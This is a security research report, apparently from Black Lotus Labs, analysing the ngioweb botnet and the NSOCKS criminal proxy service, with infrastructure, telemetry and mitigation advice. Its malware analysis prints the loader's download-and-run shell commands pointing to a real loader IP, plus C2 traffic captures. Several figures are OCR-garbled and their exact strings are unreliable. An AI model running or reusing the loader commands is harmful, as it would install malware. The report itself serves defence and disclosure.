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Executive Summary

The Black Lotus Labs team at Lumen Technologies has expanded the known architecture of
the “ngioweb” botnet, its use as a cornerstone of the notorious criminal proxy service known
as NSOCKS, and appropriation by others such as VN5Socks and Shopsocks5. One of the
most widely used criminal proxies, NSOCKS maintains a daily average of over 35,000 bots
in 180 countries, and has been tied to notorious groups such as Muddled Libra. At least 80%
of NSOCKS bots in our telemetry originate from the ngioweb botnet, mainly utilizing small
office/home office (SOHO) routers and IoT devices. Two-thirds of these proxies are based in
the U.S.

Through Lumen’s global internet visibility, we have traced the active and historical
command—-and—control (C2) nodes used by these networks, some of which were previously
undiscovered and have been in use since mid-2022. NSOCKS users route their traffic
through over 180 “backconnect” C2 nodes that serve as entry/exit points used to obscure, or
proxy, their true identity. The actors behind this service have not only provided a means for
their customers to proxy malicious traffic, but the infrastructure has also been engineered to
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enable various threat actors to create their own services. Among the disruptive activities
these networks are used for, NSOCKS has also provided an avenue for various actors to
launch powerful DDoS attacks.

Lumen Technologies has blocked all traffic across our global network, to or from the
dedicated infrastructure associated with the ngioweb botnet. We are releasing indicators of
compromise (loCs) to help others identify and take defensive measures, disrupt this
operation, and impact the larger cybercrime ecosystem.

Lumen Technologies would like to thank our partners at Shadowserver, Spur, and throughout
the industry for their contribution to our efforts to track and mitigate this threat.

Introduction

Maintaining anonymity and disguising online activity is a critical part of the criminal business
model. Although the concept of proxy botnets is not new, we have observed an increase in
their prevalence and reach such as with Socks5Sytemz and Cloudrouter.

The tracking and inventory of this global network is the culmination of over a year’s research,
though the ngioweb botnet has been well-documented in the past, dating back to 2018 and
2019 as well as more recent publications by LevelBlue Labs. Black Lotus Labs has
connected the critical elements of this intricate web with previous research to illustrate its use
as the engine driving the NSOCKS service and a random assortment of villainous interests.
Though this enterprise was built to offer criminals an avenue to proxy their traffic, users have
abused and altered the network into its present state — one which directly supports many
other forms of malicious activity such as obfuscating malware traffic, credential stuffing, and
phishing. Botnets such as these present a concerning and persistent threat to legitimate
organizations across the internet.

ngioweb Infrastructure

The ngioweb botnet is composed of two distinct elements. The first is the “loader” network,
which directs the bot to a loader-C2 node for retrieval and execution of the ngioweb malware.
Black Lotus Labs was not able to see the initial access vector, however, it likely stems from a
variety of exploits the operators have access to (as noted by Netlab360). These exploits will
download a shell script that directs an infected user to an IP address holding the latest
version:
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rm Sa
wget http://79.141.162.154/%a
chmod +x Sa

./ 5a

Figure 1: Ngioweb Loader C2 code in which a bot can be seen reaching out to acquire the
ngioweb malware at 79.141.162[.]1564/AIDY

The hosted files have four letter names that seem to change over time, in this case the
“‘AIDY” name was used. Renaming provides some obfuscation in the event that a researcher
tries to gather a file from an older sample, as it may no longer exist. This shell script provides
a second defensive measure by quickly removing the file after it begins running on the victim
machine.

Black Lotus Labs generally tracks between 15-20 loader nodes at any given time, several of
which do not appear in public databases or reporting. Given the recent research by
LevelBlue Labs showing that each of these loader C2s is likely searching for at least one
specific exploit, we suspect that the ngioweb actor likely has access to at least 10-15 exploits
at present. These loader C2s are primarily characterized by their traffic with bots, over port
80 and port 21 (FTP). This entire arm of the botnet is likely monitored and controlled by a
node at 103.172.92[.]148, which on average communicates solely with about half of the
loaders we track.

Once infected, a victim will reach out to a second stage of C2 domains for management,
addresses for these are created by a domain generation algorithm (DGA). This group of C2s
appear to determine if a bot is worth adding to the proxy network. We generally see close to
15 domains active at any one time; these gatekeepers form a nexus of control by not only
monitoring and checking in on the bots’ capacity for traffic, but they also connect useful bots
with a “backconnect” C2 which will make them available in the NSOCKS proxy service for
anyone to use. Below is an overview of a victim’s interaction with this botnet:
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Figure 2: ngioweb botnet infection chain

Malware Analysis

We analyzed a recent sample of ngioweb’s malware and there did not appear to be much
change in the malware since Net360 analyzed it in 2019. The new sample did not contain
any hardcoded C2 URLs in the configuration, we surmise the malware will only use the DGA-
created domains.
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BE 01 02 03 04 05 6 BF Q8 09 A OB OC AD BE AF ASCII

Figure 3: Decrypted configuration showing absence of hardcoded C2s (in dark green)

The C2 communications between the ngioweb sample and the DGA-generated C2 did not
seem to be any different from initial reporting, however we did see some additional traffic
between the bot and the backconnect C2s

As a defensive measure, the malware uses DNS TXT records as a method to prevent the
sinkholing or takeover of the DGA domains. The malware expects two TXT records with keys
‘p” and “v,” these values are concatenated and Base64 decoded. The result is an
Md5WithRSA encrypted blob that is decrypted using the 0x100 byte array stored in the
encrypted config (colored blue in the configuration image). Once the blob is decrypted it
contains the MD5 hash for the string “DOMAINNAME\xAA\xBB\xCC\xDD,” where
“XAA\XBB\xCC\xDD” is the IP address that the domain resolves to. So
‘remalaxation[.]Jname\x2e\xf6\x60\x28” is hashed with MD5, resulting in

9998be16901e7f80aad8d931305e057e.
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Host: remalexatlon.name

User-Agent: Mozilla/5.8 (wWindows NT 18.8; WinGd; =64; rv:59.8) Gecko/20180101 Firefox/59.0
Accept: text/html
Connection: close

HTTP/1.1 288 0K

Server: openresty/1.21.4.1

Date: Fri, 36 Aug 2824 26:88:29 GMT
Content-Type: text/plain; charsetsutf-8
Content-Length: 555

Connection: close

CONMECT 66.29.128.243:443

CERT 1 9C6917650C3BF1FA45A9C13CADGEEBASDFICEBFESBTATFESGRSRETASFSET3B29409162AC1598TCE483151316A
393356BEASI9CE69ABCO15CEC140TABAFAIGS989CET1874050DAFFEEOFID319B655BAD3BC105A554858649839070D4BE
BCEATFTSOFAEGZEADFAZBESAF910FESSCFS4AECSTI955511A53ATCABFASO465ACCSACETBCAASCAEAIDGBZEERTS23454
1FD371D847BCEAS ZFBEBSCIGDCOBGEIGOTZB1TABERZGZOF 104 ZTSEBFCOEALDR3GCIDCERESAFZZFIDCIAS53ED3AALT IDE!
B3TCID26AIFAFEAZABCIBETASS2C144662DFAFOB22FABRCBOFT 2DGABABBACERBDS91BD6601DI3EAATEEIBBOEGOBO4B235

7T93BFCOCECS2AB159B3956CT
WAIT 388

Figure 4: Beacon with backconnect C2 information

After receiving the CONNECT command, the bot will reach out to the backconnect C2

supplied in the command (66.29.128[.]243:443 in this case). The bot will then check-in with

the C2 which will direct it to “start proxy” (0x1011). The bot will act on the instruction and

send command 0x14 (TCP server started), to which the C2 will respond with a GET request
to proxy through the bot to a random looking URL — in this case, the same C2. The bot then
requests the URL, and the response contains “It works!” along with the infected machine’s

external IP.

s . I . " .GET /clywdvuer2 HTTP/1.1
Host: 67.213.212.51

User-Agent: Mozilla/S.8 (windows NT 6.1; rv:43.8) Gecko/20160181 Firefox/43.8
Accept: */*

Cookie:

HTTP/1.1 260 OK

Server: nginx

Date: Thu, 85 Sep 2024 15:55:82 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked

Connection: keep-alive

1b

It works! c.h:r-.r"h:r

g8

Figure 5: Proxy request from the C2 to a random URL containing the infected host IP (inside

<b></b> tags)

After proxying the “random” URL, the C2 will then send a request for the bot to proxy a

connection to another arbitrary-looking subdomain of nslookups|.].com. Below is a decrypted

payload and the request from bot to resolve the nslookups domain:
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BRee0000
apeeoe1e
aReaoe2e
apeaoo3e

99 Ge 62 99 40 a7 63 40 00 0O 06 30 10 11 fa 51

o4 I, o5 co ¢

GG 18 34 38 39 30 35 35 34 38 38 39 2e 6e 73 6c
6f 6f 6b 75 70 73 2e 63 6f 6d 062 01 bb 0O 60 00

Figure 6: Decrypted payload from the C2 to proxy a request

|.nn.ISc@...0..00Q]
|.fOOW. ..;....... |
|..4890554889.ns1|
| ookups.com. .». .. |

420 2024-09-.. 67.213.212.51 192.168.122.117 45850 SSL 130 Continuation Data

421 2024-09-.. 192.168.122.117 67.213.212.51 443 TCP 66 45850 . 443 [ACK] Seq=65 Ack=161 Win=64256 Len=0 TSval=3717535358 TSecr=3558445142
422 2024-09-.. 192.168,122.117 67.213.212.51 80 TCP 66 57686 — 80 [FIN, ACK] Seq=152 Ack=202 Win=64128 Len=0 TSval=3717535359 TSecr=3558444..
424 2024-09-.. 192.168.122.117 192.168.122.1 53 DNS 95 Standard query ©x1c62 A 4890554889.nslookups.com OPT

425 2024-09-.. 192.168.122.117 192.168.122.1 53 DNS 95 standard query ©xe9e2 AAAA 4890554889.nslookups.com OPT

426 2024-09-.. 67.213.212.51 192.168.122.117 57686 TCP 66 80 — 57686 [FIN, ACK] Seq=202 Ack=153 Win=43520 Len=0 TSval=3558445306 TSecr=3717535..
427 2024-89-.. 67.213.212.51 192.168.122.117 36658 TCP 66 443 . 36658 [ACK] Seq=153 Ack=251 Win=43520 Len=0 TSval=3558445307 TSecr=3717535360
428 2024-09-.. 192.168.122.117 67.213.212.51 80 TCP 66 57686 — 80 [ACK] Seq=153 Ack=203 Win=64128 Len=0 TSval=3717535561 TSecr=3558445306
429 2024-09-.. 192.168.122.1 192.168.122.117 53486 DNS 111 standard query response ©x1c62 A 4898554889.nslookups.com A 87.98.130.137 OPT

Figure 7: Line 420 shows the encrypted payload, followed by resolving the nslookups

domain

After the initial proxy request, the bot will stay connected to the C2 while waiting for
additional commands and may receive additional proxy commands during this time. Below is
a decrypted request to a proxy checking service:

gReanene
allalelclaw )
20080020
28080030
gpeeee4e

ed 5f 5f ed 4a b8 d2 O 00 00 00 40 10 11 fa 51
o4 I 05 00 00
00 25 70 72 6f 78 79 2d 63 68 65 63 6b 65 72 2e
64 6f 6c 70 68 69 6e 2d 61 6e 74 79 2d 6d 69 72
72 6f 72 2e 63 6f 6d 62 61 bb 00 00 60 O O 00

Figure 8: Request to proxy checking service

|a__&J), 04...8..00Q|
| fOv2...E.....u. |
| .%proxy-checker. |
|dolphin-anty-mir|
|ror.com..»...... |

Occasionally, after a command 0x14 is sent to a C2, it will respond with a request to
download a “test.zip” file. This is likely to evaluate the speed of the proxied connection for
suitability and later, to possibly factor into the cost per daily use.
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N..
- .GET /test.zip HTTP/1.1

Host: 67.213.212.51

User-Agent: Mozilla/5.8 (Windows NT 6.1; rv:43.8) Gecko/28188181 Firefox/43.8
Accept: */*

Cookie:

HTTPS1.1 288 OK

Server: nginx

Date: Thu, 85 Sep 2824 15:55:80 GMT
Content-Type: application/zip

Content -Length: 28971520

Last-Modified: Fri, 14 Jul 2823 15:38:54 GMT

Connection: keep-alive
ETa0: " NN

Accept-Ranges: bytes

+..70..7E. . T1D~.. . Fa. lU'4.>. .... .58
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*e.bh, .05....8...p..09P....0P, . 2. =l.5....¥.."B ...... 7.Yh.MW; . %8.%.a.{H
S PIPE I I T Y PRI T O T ) o [ | | PR T,PRk] ... u..@8~(Lb....... 11 JOPY SRR - PR |
| L R PR 1" R TR i - (R Y (R e i [ ST | PR - | PR R | PR . T P Y N
o ) R T (P o - T YRR [P : PRI T U | (R (P - TRNN SR O : PR | [
T
- BCH. Yp28D.8, .M. X, .o=so Lo WML KDy R2D.1.8Z0, KU Jos e e W N UA{L L d1<.B..0. Q..
2. ..CD61Q.4=~3b. . .UE.......... L.)p.#..1.%-hB.#u..b....2.." . h..8L...g=...N.......... j.8.....
ST e S Peeee=.¥5, .. .582).....0. 0 M B KLLKD" . e saananac &....8R }.rt &s
PP % Y (PIPRRI R TR 1 FOFRFRPIII - . TR PR M i PR . PRI i PR - PO [
P N . TR | TR, LN, S W, TR ) TR Y (PR T, RS- T I R Y 1. TR e..{..h."I
Joomeo oS s TH > W YD3Es s s v s #psd. .. (K.h." . &. U3, ...2.~, ,..D...r.5...7T6.. TW.5.u....Q¢..,..0.;TI.p
G.b..N S e e | b A i e o r.g..+. ;. Aoy 8)[.......;.8".].,.7M2B. . .&.E]..

Figure 9: “test.zip” file used to speed test a given bot for ranking

Global Telemetry Analysis

The ngioweb botnet employs a variety of exploits, with 15% of observed devices running
vulnerable or discontinued web application libraries such as YUI. Zyxel devices, Alpha
Technology devices, and Reolink security cameras each contribute to another 5% of the
botnet.

Based on available telemetry, it appears that the ngioweb botnet is not leveraging zero-day
exploits. Instead, it is exploiting a significant number of n-day vulnerabilities across various
router models. Though many of the victim devices are older, they prove to be valuable for
malicious activities as they often evade detection by common network security solutions.

80% of the bots communicating with ngioweb are also NSOCKS bots, indicating ngioweb is
the only provider of proxies to NSOCKS. The network maintains a daily average of roughly
35,000 working bots, with 40% remaining active for a month or longer.

One concerning aspect is that serious criminal groups, such as the APT group Pawn Storm,
have been found co-habiting the same devices as ngioweb. This means that many devices
infected with ngioweb malware are likely being abused by multiple groups simultaneously.
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Figure 10: Average Lifetime of a bot in the NSOCKS network

The ngioweb botnet reaches beyond just NSOCKS, however. There are indicators that
multiple other services are dependent on the NSOCKS ecosystem, which also implies they
are dependent on the ngioweb botnet. About 45% of bots that are part of the ngioweb botnet
are also a part of Shopsocks5, with some C2s having as much as a 65% overlap.

80% NSOCKS

Figure 11: Overlap between the ngioweb botnet and the services that use it. 80% of bots in
the ngioweb botnet are sold through NSOCKS. 45% of the bots in the ngioweb botnet are
sold through Shopsocksb. All Shopsocksb proxies available coming from the ngioweb botnet
are also available in NSOCKS

All bots that Black Lotus Labs could discover in the Shopsocks5 network are also in use by
NSOCKS. We will discuss this connection further below.
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The NSOCKS proxy network first appeared in the fall of 2022, although according to Spur,
likely operated under the name of LuxSocks prior to that. Based on old ngioweb domains
and files dating back several years, we suspect that LuxSocks was mostly powered by the
ngioweb botnet as well. NSOCKS is notoriously advertised and highly recommended by
users on criminal forums such as Blackhatworld. It has seen extensive use by Muddled Libra
along with the now recently defunct Truesocks proxy service. Entities based in the US are
especially targeted as 60% of NSOCKS available proxies are based in this country. End
users can purchase available IPs with cryptocurrency for 24 hours to use however they
would like which based on our analysis is generally for fraud, reconnaissance, spam and
phishing related activity. NSOCKS has two interesting features in the Ul that they allow users
to see how many others are currently using a proxy, and lets users filter by domain such as
.gov and .edu, which can allow for very targeted use cases, as shown in the image below:

PROXY HISTORY PAYMENT PPORT NEW TERMS PROMO

AL-210 AR-T75 AZ-144 CA-697 CO-135 CT-57 DC-26 DE - 17 FL-736 GA-320 HI-138 IA- 197 ID-131 IL- 289 IN - 276

KY-311 LA-93 MA-200 MD-160 ME-80 MI - 438 MN-269 MO-131 MS-56 MT - 43 NC-232 ND-34 NE-553 NH-59 NJ - 288

E pe F NM - 21 NV-168 NY-654 OH-371 OK-233 OR-200 PA-502 R

-8 SC-1026 SD-45 TN-B20 TX-564 UT-311 VA-261 WVI-2 VT -15

1244 WA-B4 WI-T6  WV-47 WY-84

B 174.205.°.* *.*.myvzw.com AZ Tucson Verizon Wireless 85706 217.7K 1313 B ISP/MOB 30days $0.80
E 4749 *.*.spectrum.com NC Arden Spectrum Business 28704 65.3K 359 - ISP 103 days $0.50
=768 *.*.mis.net KY Pikeville Mikrotec Internet Services 41501 375.6K B17 - ISP 13days $0.40

B= 216,105 *.* pidi.net OK Blanchard Pioneer Long Distance 73010 2.0M 816 - ISP 8days  $0.40

P DOMAIN STATE cmy ISP ap SPEED PING TYPE ADDED PRICE
Area: v Any v Any v APPLY
= 24.105.*.* *.".spectrum.com NY Brooklyn Spectrum Business 11215 & B9.9K 150 - ISP 15days S050 W
E 70.37.." *.*.nnic.net NE Winside Cencom 68790 548 9K 201 - ISP 33 days 050 W
0= 71.79.°*  *.*.spectrum.com OH Fostoria Spectrum 44830 4 53.9K 558 - ISP 126days $0.40 W{
E 76.180.".* “.".spectrum.com NY Tonawanda Spectrum 14150 32 535.7K 457 Bisp today s150 W
= 64.118.** *.".st.net cA Mariposa Sierra Tel Internet 95338 & 111.6K 170 - ISP 51 days 050 W
B= 69.161.*.* *.*.atlanticbb.net MD Lexington Park Breezeline 20653 & 5.5K 203 - |SP 157 days $0.40 W
BE=69.14°*  *.*.wideopenwest.com Y] Troy WideOpenWest 48098 26.0K 182 & Isp 4gdays $S050 W
B= 70375 *..nnic.net NE Morse Bluff Cencom 68648 8.2K 1779 - ISP 4ldays $0.50 W
EI_: 67.53."" *.*.spectrum.com KS Overland Park Spectrum Business 66207 26.6K B14 - |SP 40 days 050 W
= 65.17."" 65.17.** ™ Rogersville Haiston Electric Cooperative 37857 331.9€ 740 - ISP 72 days 040 W
W
W
w
W
W

0= 64.207.** *.".coxnet oK Tulsa Cox Business 74115 4 23Mm 242 - COM yesterday $0.50

Figure 12: User Interface displaying location and use of available bots

NSOCKS Infrastructure

Our analysis reveals that NSOCKS employs a large layer of backconnect C2s, which serve a
dual purpose. Not only do these C2s signal to the bots that they are available within the
NSOCKS proxy service, but they also act as the point of connection for users who have
purchased a proxy. Essentially, whenever a user buys a proxy in this service, they connect to
these backconnect C2s.
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We assess with high confidence that there exists a group of over 180 backconnect C2s
dedicated to the NSOCKS proxy service. These C2s are specifically used to route and proxy
traffic, playing a critical role in the operational infrastructure of NSOCKS.

Black Lotus Labs assesses the user interactions with the NSOCKS proxy service is as
follows:

NSOCKS Proxy Pipeline BACK e

NSOCKS User Backconnect C2 NSOCKS Bot Target

x| = LD

Figure 13: Pipeline a user of the NSOCKS service takes when they use a proxy. Users will
connect to a backconnect C2 IP on a high numbered port

There are 3 IPs that share an SSH key with this backconnect C2 layer, but do not share the
same characteristics. They resolve to the respective names dnslookips[.Jcom,
ipscoredns[.Jcom and nslookups[.Jcom. We believe based on our malware analysis and
understanding of how the Ul works, they are gathering all relevant information on the bot’s
DNS server so prospective buyers can see what an infected victim is using

12/15



@ Ip
b= 23.244%*

Q LOCATION

Country: US

Domain: *.* breezeline.net
ORG: Breezeline

ISP: Breezeline

State: OH

City: Grove City

ZIP: 43123

Zone: America/New_York

© BLACKLISTS
Clean (in Spamhaus)

£ INFO

Added: 79 days

Type’: ISP

Ping: 189ms

Speed: 14.8K

DNS: 2= 66.29.128.245
Usage: 22 3-5 users

Figure 14: The DNS server this proxy is using can be seen in the INFO section on the
NSOCKS main Ul screen

NSOCKS - The Multi-Armed Bandit

When Black Lotus Labs began to focus on the backconnect C2s, we discovered that they
were more than just alternate communication routes. According to public reporting, most of
these IPs appear on free proxy lists. These lists are routinely abused by threat actors, and
the proxies therein are often used in various malware samples, such as Agent Tesla, to proxy
traffic.
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When users purchase a proxy, they receive an IP and port combination for connection.
Unfortunately, beyond this address and port, these proxies often lack any additional
authentication once activated. This inadequate security measure allows not only “normal”
NSOCKS users access to the network, but also permits any other malicious actors who
discover the same IP and port combinations to exploit them for nefarious purposes.

Our telemetry has revealed that DDoS actors have been leveraging these open proxies to
amplify their attack capabilities. Specifically, we have observed backconnect C2s, as well as
numerous NSOCKS proxies, being used in several large-scale DDoS attacks recently. The
proxies are notably robust, with around 40% remaining active for over 30 days on average.
This prolonged availability provides a significant window for malicious actors to continually
exploit the proxies and discover additional ones within the service. Our data indicates there
are nearly 15,000 IPs contacting these backconnect C2s each week.

Furthermore, our study of the backconnect layer unveiled a multi-layer architecture that led
us directly to a backend database connected to the Shopsocks5 and VN5Socks proxy
services. Due to the open access policies of the NSOCKS botnet operators, it appears this
architecture is used either to siphon proxies from the NSOCKS proxy service, or as part of a
partnership where NSOCKS willingly permits other proxy services to utilize some of its
proxies.

Conclusion

Proxy botnets are becoming increasingly popular and, consequently, more dangerous. These
networks are often leveraged by criminals who find exploits or steal credentials, providing
them with a seamless method to deploy malicious tools without revealing their location or
identities. What is particularly alarming is the way a service like NSOCKS can be used. With
NSOCKS, users have the option to choose from 180 different countries for their endpoint.
This capability not only allows malicious actors to spread their activities across the globe but
also enables them to target specific entities by domain, such as .gov or .edu, which could
lead to more focused and potentially more damaging attacks.

Moreover, the architecture setup of NSOCKS is facilitating further malicious activities, such
as distributed denial of service (DDoS) attacks. This setup makes it easier for attackers to
coordinate and execute these attacks, increasing the threat level significantly.

As part of a coordinated effort to limit the danger of NSOCKS and increase awareness, the
Shadowserver Foundation are sinkholing some of the known Ngioweb botnet DGA domains.
Statistics about the daily distribution of those victims are available on their public Dashboard.
Detailed remediation data about compromised devices infected with ngioweb are available
via Shadowserver’s Sinkhole HTTP Reports.
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We encourage the community to monitor for and alert on these and any similar l1oCs. We

also advise the following:

Corporate Network Defenders:

Continue to look for attacks on weak credentials and suspicious login attempts, even
when they originate from residential IP addresses which bypass geofencing and ASN-

based blocking.

Protect cloud assets from communicating with bots that are attempting to perform

password spraying attacks and begin blocking loCs with web application firewalls.

Updating and blocking IP addresses belonging to known open proxies.

Consumers with SOHO routers:

Users should follow best practices of regularly rebooting routers and installing security

updates and patches. For guidance on how to perform these actions, please see
the “best practices” document prepared by Canadian Centre for Cybersecurity.

For Organizations that manage SOHO routers: make sure devices do not rely upon
common default passwords. They should also ensure that the management interfaces

are properly secured and not accessible via the internet. For more information on
securing management interfaces, please see DHS’ CISA BoD 23-02 on securing
networking_equipment.

We also recommend replacing devices once they reach their manufacturer end of life

and are no longer supported.

Analysis of NSOCKS and the ngioweb malware was performed by Chris Formosa and Steve

Rudd. Technical editing by Ryan English.
For additional loCs associated with this campaign, please visit our GitHub page.

If you would like to collaborate on similar research, please contact us on Twitter
@BlackLotusLabs.

This information is provided “as is” without any warranty or condition of any kind, either
express or implied. Use of this information is at the end user’s own risk.
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http://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019
http://www.cisa.gov/news-events/directives/binding-operational-directive-23-02
https://github.com/blacklotuslabs/IOCs/blob/main/NSOCKS_IOCs.txt

